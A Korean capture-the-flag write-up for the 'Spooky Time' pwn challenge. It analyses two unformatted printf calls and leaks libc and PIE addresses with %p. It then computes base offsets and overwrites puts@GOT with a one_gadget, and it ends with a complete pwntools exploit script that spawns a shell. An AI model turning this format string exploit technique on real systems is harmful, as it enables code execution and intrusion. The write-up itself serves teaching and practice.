Spooky_time

개요

- `ASLR` 이 활성화 되어있어 메모리가 무작위로 매핑됨
- `RELRO` 가 비활성화 되어있어 Global offset table overwrite 가능

Tree

```
whoami@choijunwon:~/Spooky Time$ tree
.
└── challenge
    ├── flag.txt
    ├── flag.txt:Zone.Identifier
```

```
    ├── glibc
    │   ├── ld-linux-x86-64.so.2
    │   ├── ld-linux-x86-64.so.2:Zone.Identifier
    │   ├── libc.so.6
    │   └── libc.so.6:Zone.Identifier
    ├── spooky_time
    └── spooky_time:Zone.Identifier
```

Protect

- **Arch**: amd64-64-little
- **RELRO**: No RELRO
- **Stack**: Canary found
- **NX**: NX enabled
- PIE: PIE enabled

정적 분석

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[12]; // [rsp+4h] [rbp-14Ch] BYREF
  char v6[312]; // [rsp+10h] [rbp-140h] BYREF
  unsigned __int64 v7; // [rsp+148h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts("It's your chance to scare those little kids, say something scary!\n");
  __isoc99_scanf("%11s", format);
  puts("\nSeriously?? I bet you can do better than ");
```

```
  printf(format);
  puts("\nAnyway, here comes another bunch of kids, let's try one more time..'
  puts("\n");
  __isoc99_scanf("%299s", v6);
  puts("\nOk, you are not good with that, do you think that was scary??\n");
  printf(v6);
  puts("Better luck next time!\n");
  return v7 - __readfsqword(0x28u);
}
```

- 처음 `scnaf` 뒤 `printf(format)` 이라는 포맷형식이 지정되지않은 printf문 사용

```
 __isoc99_scanf("%11s", format);
  puts("\nSeriously?? I bet you can do better than ");
  printf(format);
```

- 두번째 `scanf` 뒤 똑같이 `printf(v6)` 이라는 포맷형식이 지정되지않은 printf문 사용
- 첫번째 보다 큰 입력값을 가질수 있으므로 넓은 범위로 메모리 탐색 가능

```
__isoc99_scanf("%299s", v6);
  puts("\nOk, you are not good with that, do you think that was scary??\n");
  printf(v6);
```

- 즉 `FSB` 발생

동적 분석

- `aslr` 을 off한 상태에서 `Offset`을 구하고 `aslr` 을 활성화 한뒤 실제로 그 주소가 offset을 찾을만한 인자인지 검증
- `put_got` 주소를 `bin_base` 에 더하고 `libc` 파일에서 찾은 `onegadget` 을 `libc_base` 에 더해준다 즉 베이스에서 탐색한 오프셋이 `aslr` 켜져있을때 같은 오프셋을 가지는지 확인하는 과정

```
gdb-peda$ vmmap
Start              End                Perm      Name
0x0000555555554000 0x0000555555555000 r--p      /home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555555000 0x0000555555556000 r-xp      /home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555556000 0x0000555555557000 r--p      /home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555557000 0x0000555555558000 rw-p      /home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555558000 0x000055555555a000 rw-p      /home/whoami/spooky_time/test/challenge/spooky_time
0x00007ffff7d91000 0x00007ffff7d94000 rw-p      mapped
0x00007ffff7d94000 0x00007ffff7dbc000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007ffff7dbc000 0x00007ffff7f51000 r-xp      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007ffff7f51000 0x00007ffff7fa9000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007ffff7fa9000 0x00007ffff7fad000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007ffff7fad000 0x00007ffff7faf000 rw-p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007ffff7faf000 0x00007ffff7fbe000 rw-p      mapped
0x00007ffff7fbe000 0x00007ffff7fc2000 r--p      [vvar]
0x00007ffff7fc2000 0x00007ffff7fc3000 r-xp      [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007ffff7fc5000 0x00007ffff7fef000 r-xp      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007ffff7fef000 0x00007ffff7ffa000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
```

- `aslr off` 후 vmmap을 확인했을때 `binary` , `libc` 의 각 start 와 end 의 주소는 다음과 같다.
- `bin.start` : 0x555555554000
- `bin.end` : 0x55555555a000
- `libc.start` : 0x7ffff7fc3000
- `libc.end` : 0x7ffff7fff000

```
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%
p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

Ok, you are not good with that, do you think that was scary??

0x1,0x1,0x7ffff7ea8a37,0x3f,0x7ffff7fad280,0x3100000000,(nil),0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252
c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c
70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c7
0,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70
,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,
0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0
x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x70252c,(nil),0x3acd53622c06a00,0x1,0x7
ffff7dbdd90,(nil),0x5555555553c0,0x100000000,0x7fffffffe318,(nil),0x57ec2a8b4aff2de6,0x7fffffffe318,0x5555555553c0,
0x555555557b80,0x7ffff7ffd040,0xa813d5748edd2de6,0xa813c53cf0752de6,(nil),(nil),(nil),(nil),(nil),0x3acd53622c06a00
,(nil),0x7ffff7dbde40,0x7fffffffe328,0x555555557b80,0x7ffff7ffe2e0,(nil),(nil),0x555555555160,0x7fffffffe310,(nil),
(nil),0x555555555185,0x7fffffffe308,0x1c,0x1,0x7fffffffe550,(nil),0x7fffffffe584,0x7fffffffe594,0x7fffffffe5b1,0x7f
fffffffe5e1,0x7fffffffe5f1,0x7fffffffe61d,0x7fffffffe62c,0x7fffffffe63b,0x7fffffffe652,0x7fffffffe65b,0x7fffffffe66d
,0x7fffffffe67a,0x7fffffffe69d,0x7fffffffec8c,0x7fffffffec97,0x7fffffffecb9Better luck next time!
```

- 이후 `FSB` 취약점이 발생하는 포인트를 활용 하여 `%p` 로 해당 입력 버퍼부터의 입력 오프셋까지의 주소들을 출력
- 찾아야하는 값은 다음과 같다.
- `binary` : 0x555555554000 ≤ addr ≤ 0x55555555a000
- `libc` : 0x7ffff7d94000 ≤ addr ≤ 0x7ffff7faf000

```
arr = [0x1,0x1,0x7ffff7ea8a37,0x3f,0x7ffff7fad280,0x3100000000,0x1,0x7025
bin_start = 0x555555554000
bin_end = 0x55555555a000

libc_start = 0x7ffff7d94000
libc_end = 0x7ffff7faf000


for i in range(0,len(arr)):
    if hex(bin_start) <= hex(arr[i]) <= hex(bin_end):
        print(f'found [bin]! {i+1} : {hex(arr[i])}')
    if hex(libc_start) <= hex(arr[i]) <= hex(libc_end):
        print(f'found [lib]! {i+1} : {hex(arr[i])}')
```

실행결과

```
found [lib]! 3 : 0x7ffff7ea8a37
found [lib]! 5 : 0x7ffff7fad280
found [lib]! 49 : 0x7ffff7dbdd90
found [bin]! 51 : 0x5555555553c0
found [bin]! 57 : 0x5555555553c0
found [bin]! 58 : 0x555555557b80
found [lib]! 69 : 0x7ffff7dbde40
found [bin]! 71 : 0x555555557b80
found [bin]! 75 : 0x555555555160
found [bin]! 79 : 0x555555555185
```

- 입력 버퍼와 가장 근처에있는 값의 오프셋을 구했을때 결과는 다음과 같다.

```
>>> print(0x7ffff7ea8a37 - 0x7ffff7d94000)
1133111
>>> print(0x5555555553c0 - 0x555555554000)
5056
```

- `libc.offset3` : 1133111

- `bin.offset51` : 5056
- `aslr` 이 disable 상태이기 때문에 enable 상태에서도 오프셋이 정확한지 확인하는 과정 필요

`aslr on vmmap`

```
gdb-peda$ vmmap
Start              End                Perm      Name
0x000055b83b0df000 0x000055b83b0e0000 r--p      /home/whoami/spooky_time/test/challenge/spooky_time
0x000055b83b0e0000 0x000055b83b0e1000 r-xp      /home/whoami/spooky_time/test/challenge/spooky_time
0x000055b83b0e1000 0x000055b83b0e2000 r--p      /home/whoami/spooky_time/test/challenge/spooky_time
0x000055b83b0e2000 0x000055b83b0e3000 rw-p      /home/whoami/spooky_time/test/challenge/spooky_time
0x000055b83b0e3000 0x000055b83b0e5000 rw-p      /home/whoami/spooky_time/test/challenge/spooky_time
0x00007f35d588a000 0x00007f35d588d000 rw-p      mapped
0x00007f35d588d000 0x00007f35d58b5000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d58b5000 0x00007f35d5a4a000 r-xp      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d5a4a000 0x00007f35d5aa2000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d5aa2000 0x00007f35d5aa6000 r--p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d5aa6000 0x00007f35d5aa8000 rw-p      /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d5aa8000 0x00007f35d5ab7000 rw-p      mapped
0x00007f35d5ab7000 0x00007f35d5ab9000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007f35d5ab9000 0x00007f35d5ae3000 r-xp      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007f35d5ae3000 0x00007f35d5aee000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007f35d5aef000 0x00007f35d5af1000 r--p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007f35d5af1000 0x00007f35d5af3000 rw-p      /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007fff6c7c8000 0x00007fff6c7e9000 rw-p      [stack]
0x00007fff6c7f7000 0x00007fff6c7fb000 r--p      [vvar]
0x00007fff6c7fb000 0x00007fff6c7fc000 r-xp      [vdso]
```

- `bin.start` : 0x55c783584000
- `libc.start` : 0x7f120d004000

- `libc` 의 오프셋을 구했던 `%3$p`
- `bin` 의 오프셋을 구했던 `%51$p`
- 해당 지점의 오프셋이 정확한지 확인

> It's your chance to scare those little kids, say something scary!
>
> %3$p.%51$p
>
> Seriously?? I bet you can do better than 0x7f120d118a37.0x55c7835853c0
> Anyway, here comes another bunch of kids, let's try one more time..

- [3] : 0x7f120d118a37
- [51] : 0x55c7835853c0

- 각 포인트 에서 `start` addr만큼 뺀결과 확인

```
>>> print(0x7f120d118a37-0x00007f120d004000)
1133111
>>> print(0x55c7835853c0-0x000055c783584000)
5056
```

- `%3$p` addr - `libc.start` addr 를 뺀 결과가 `libc_base` 주소
- `%51$p` addr - `bin.start` addr를 뺀 결과가 `bin_base` 주소

- 이후 `shell` 을 열기위한 oneshot gadget 과 덮어 씌울 puts got 주소를 구함
- `rsi` 는 execve()에서 `argv[]` 인자 배열 주소를 담기 때문에 조건이 `NULL` 이면 안됨
- `0xebcf1` 오프셋 사용

```
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
```

`puts@got`

```
whoami@choijunwon:~/spooky_time/test/challenge$ objdump -R spooky_time
0000000000003da0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
```

- `0x3da0` 오프셋

- 구해진 각 onegadget 과 puts@got 오프셋 을 `base` addr에 더하여 동적으로 프로그램이 실행중일때의 주소를 구함

PoC

1. 첫번째로 진행되는 `scanf` 에서 `%3$p,%51$p` 입력후 덮어씌울 주소를 구한다.
2. 각 주소 별로 `1133111`, `5056` 만큼 빼서 `bin`, `libc` 의 base_addr 를 구한다.
3. `puts@got` 주소에 `onegadget` 주소를 덮어 `puts@plt` 가 `got` 를 호출할때 쉘 실행

```
from pwn import *

p = process("spooky_time")

context.arch = 'amd64'

p.recvuntil("scary!\n")
p.sendline(b"%3$p,%51$p")

p.recvuntil("than")
p.recvline()


libc,el = p.recvline().decode().split(",")
libc = int(libc,16)
el = int(el,16)

libc_base = libc - 1133111
elf_base = el - 5056
puts_got = elf_base + 0x3da0
ones = libc_base + 0xebcf1

# gdb.attach(p)

payload = fmtstr_payload(8, {puts_got:ones})

p.recvuntil("time..")
p.sendline(payload)
p.interactive()
```